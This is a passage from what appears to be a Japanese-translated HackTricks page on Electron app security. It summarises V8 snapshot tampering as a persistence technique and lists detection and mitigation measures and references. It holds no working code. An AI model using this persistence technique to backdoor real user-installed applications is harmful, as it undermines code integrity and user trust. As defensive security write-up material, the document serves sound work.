- Persistence: ユーザー書き込み可能なインストールにある snapshot を置き換えると、通常アプリの再起動をまたいで持続し、署名済みの正当なアプリのように見えます。
|
||
- Chromium browsers: 同じ改ざんの概念は、ユーザー書き込み可能な場所にインストールされた Chrome/派生ブラウザにも当てはまります。Chrome には他の整合性緩和策がありますが、物理的にローカルな攻撃を脅威モデルから明示的に除外しています。
|
||
|
||
Detection and mitigations
|
||
- Snapshot を実行可能コンテンツとして扱い、整合性強制に含める(CVE-2025-55305 fix)。
|
||
- 管理者のみ書き込み可能なインストール場所を優先する; v8_context_snapshot.bin と browser_v8_context_snapshot.bin のハッシュをベースライン化して監視する。
|
||
- 早期ランタイムでの組み込みの上書き(builtin clobbering)や予期しない snapshot の変更を検出する。デシリアライズされた snapshot が期待値と一致しない場合にアラートを出す。
|
||
|
||
## **References**
|
||
|
||
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
|
||
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
|
||
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
|
||
- [V8 custom startup snapshots](https://v8.dev/blog/custom-startup-snapshots)
|
||
- [electron/mksnapshot](https://github.com/electron/mksnapshot)
|
||
- [MITRE ATT&CK T1218.015](https://attack.mitre.org/techniques/T1218/015/)
|
||
- [Loki C2](https://github.com/boku7/Loki/)
|
||
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
|
||
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model)
|
||
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
|
||
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
|
||
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
|
||
- [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
|
||
- [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)
|
||
- More researches and write-ups about Electron security in [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
|
||
- [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
|
||
- [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|